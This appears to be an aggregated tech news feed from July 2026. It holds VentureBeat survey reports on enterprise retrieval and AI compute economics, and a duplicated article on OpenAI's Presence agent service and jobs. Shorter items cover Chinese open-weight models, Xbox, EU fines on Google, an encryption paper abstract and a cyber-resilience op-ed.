The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.
Finding 2: RAG is the default context source
Retrieval feeds more agents than any other method
We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.
Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.
One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.
Finding 3: Provider-native retrieval already leads the vector databases
OpenAI file search and vertex AI search top the dedicated tools
We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.
The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.
The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.
Finding 4: But they say they want to keep best-of-breed
A plurality resist consolidating onto a provider’s native stack
We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.
Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.
Finding 5: Hybrid retrieval is the consensus bet
Vector-only retrieval is already seen as insufficient
We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.
The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.
Finding 6: The governed context layer is being built now
Most run or are building a semantic layer — few in production
We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.
The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.
Finding 7: Bought on ingestion and simplicity, watched for correctness
Selection favors operability; monitoring favors correctness and security
We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.
Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). 
Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.
Finding 8: A retrieval reshuffle is coming
A majority plan to change providers — and the vector specialists are gaining interest
We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.
The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.
The bottom line: A context gap that more retrieval alone won’t close
Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.
The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.
Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.


The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs
Thu, 23 Jul 2026 19:19:39 +0200
Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.
This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.
The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.
Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.
By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).
At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.
Finding 1: Ambition outpaces production
Only one in five run AI in production at scale
We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.
The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.
Finding 2: Enterprises run on hyperscalers and model APIs
The specialized GPU clouds barely register — today
We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.
The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.
(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)
Finding 3: The next dollar goes to infrastructure they don’t yet run
AI-specialized clouds top the evaluations list
We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.
Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.
This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.
Finding 4: A switching wave is building
Six in 10 plan to change providers within a year — many within a quarter
We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.
For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.
(Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.)
Finding 5: Nobody buys on token price
Integration and total cost of ownership decide — not sticker price
We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.
Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.
Finding 6: Expensive GPUs, idle most of the time
83% report GPU utilization of 50% or less
We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.
Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%
The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.
Finding 7: Spending fast, measuring slowly
Fewer than half rigorously track what their compute costs
We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.
Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.
Finding 8: The next bottleneck few are watching
As inference shifts from compute to memory, the field scatters
Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.
The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.
The bottom line: A compute gap that faster spending will widen, not close
Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.
The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.
Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.


Startup Founders Urge Trump Not to Shut Off Chinese Open Weight AI
Thu, 23 Jul 2026 18:18:19 +0200
Nearly 200 Silicon Valley companies, including Proton and Y Combinator, are urging the Trump administration not to block U.S. access to Chinese open-weight AI models or risk crippling the next generation of U.S. startups. Politico reports: On Wednesday, the newly-formed Little Tech Association sent letters to President Donald Trump, Commerce Secretary Howard Lutnick and others in the administration with its appeal, marking the first coordinated effort by Silicon Valley's wider influential startup community to weigh in on one of the Trump administration's most closely watched AI debates. At issue: whether Washington should restrict access to increasingly powerful open-weight -- meaning, AI models whose weights are publicly available -- AI models released by Chinese companies such as Moonshot AI and Alibaba.
 
"American leadership requires two things: world-leading American open-weight models and continued access for U.S. builders to open models already available worldwide," the startup founders wrote in the letter (PDF) obtained by POLITICO, also sent to Office of Science and Technology Policy Director Michael Kratsios. Instead of broad prohibitions, they argue the government should adopt targeted safeguards.
 
And they warn that banning Americans from downloading Chinese open-weight models wouldn't stop their proliferation -- but would weaken U.S. startups. "There'll be hundreds of companies that instantly die," said Suhail Doshi, founder of AI infrastructure startup Particle and a member of the association, which POLITICO first wrote about exclusively, in an interview. "It's great for Anthropic. We're all going to have to spend money on Anthropic." Last week, the Beijing-based AI company "Moonshot" released a massive new model that reset the AI race overnight, immediately vaulting into the top tier of global AI, beating Anthropic's Fable 5 and OpenAI's GPT-5.6 Sol in front-end coding tests. 
China's Xi Jinping also used his first appearance at China's World AI Conference to promote a vision of low-cost, broadly accessible AI and call for international cooperation rather than technological rivalry.






Read more of this story at Slashdot.


Xbox's plan to bring Xbox Cloud Gaming to the mass market — Free tier revealed, powered by ads, with access to all games you own
Thu, 23 Jul 2026 18:07:50 +0200
Here are the details of Xbox's initial ad-powered Xbox Cloud Gaming service, set to go live soon in an early testing phase.


Halo: Campaign Evolved is the top-tier remake Xbox's legendary flagship deserves — but I wanted more for the asking price
Thu, 23 Jul 2026 17:02:15 +0200
Halo Studios has delivered a fantastic remake of Xbox's first flagship with Halo: Campaign Evolved, though for $50, I wanted more. Here's our full review.


OpenAI Presence raises new questions about enterprise automation and jobs
Thu, 23 Jul 2026 15:20:41 +0200

		
					  
						




OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.



OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.



Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.



OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.



Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected global systems integrators.



Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.



Workforce impact



OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.



Pareekh Jain, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.



Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.



“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.



The first workforce effect is more likely to be slower hiring than immediate layoffs, according to Tulika Sheel, senior vice president at Kadence International.



“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”



Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.



However, Lian Jye Su, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.



Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.



Cost and operational risks



Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.



“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.



The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but integration and governance,” Jain added.



Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.



Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.



Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.



OpenAI Presence raises new questions about enterprise automation and jobs
Thu, 23 Jul 2026 15:20:32 +0200

		
					  
						




OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.



OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.



Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.



OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.



Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected global systems integrators.



Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.



Workforce impact



OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.



Pareekh Jain, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.



Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.



“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.



The first workforce effect is more likely to be slower hiring than immediate layoffs, according to Tulika Sheel, senior vice president at Kadence International.



“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”



Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.



However, Lian Jye Su, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.



Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.



Cost and operational risks



Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.



“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.



The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but integration and governance,” Jain added.



Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.



Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.



Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.



This article first appeared on CIO.



890 Millionen Euro: Brüssel bestraft Google gleich doppelt
Thu, 23 Jul 2026 13:47:50 +0200
890 Millionen Euro: Brüssel bestraft Google gleich doppelt

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Do., 23.07.2026 - 13:30


            Die Europäische Kommission hat Google wegen gleich zwei Verstößen gegen das Gesetz über digitale Märkte zu Geldbußen in Höhe von insgesamt 890 Millionen Euro verurteilt. Der Konzern soll eigene Dienste in der Suche bevorzugt und App-Entwickler bei alternativen Bezahlwegen ausgebremst haben.
      
    
          News
      
  
    Weiterlesen über 890 Millionen Euro: Brüssel bestraft Google gleich doppelt
  


End-to-End Encryption and “Going Dark”
Thu, 23 Jul 2026 13:15:16 +0200
New paper: “Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate“:
Abstract: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of the Going Dark Debate: the current controversies over end-to-end encryption (E2EE). Governments around the world have proposed, and in some cases enacted, laws limiting E2EE for law enforcement and national security purposes.
This Article explains the underlying technologies and market developments for a law and policy audience to assess those proposals critically. The Article proceeds in three parts tracking three rounds of the Going Dark Debate. Round 1 covers the Crypto Wars of the 1990s, when U.S. export controls on strong encryption ultimately fell in 1999. Round 2 covers the period roughly 2010 to 2015, when encryption-in-transit became widespread but lawful access remained available through cloud providers, giving rise to what the authors called a “golden age of surveillance” rather than a period of going dark. Round 3 addresses the current debate over E2EE, where no entity between sender and recipient can read the plaintext...


Principles every enterprise must test before the attack arrives
Thu, 23 Jul 2026 12:04:32 +0200

		
					  
						




I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”



This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.



As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:



Recovery is not just a technical exercise



The first assumption to break during a real crisis is the belief that recovery is purely technical.



Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.



The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.



Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.



True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.



Most business continuity plans ignore ‘total blackout’



I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.



Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.



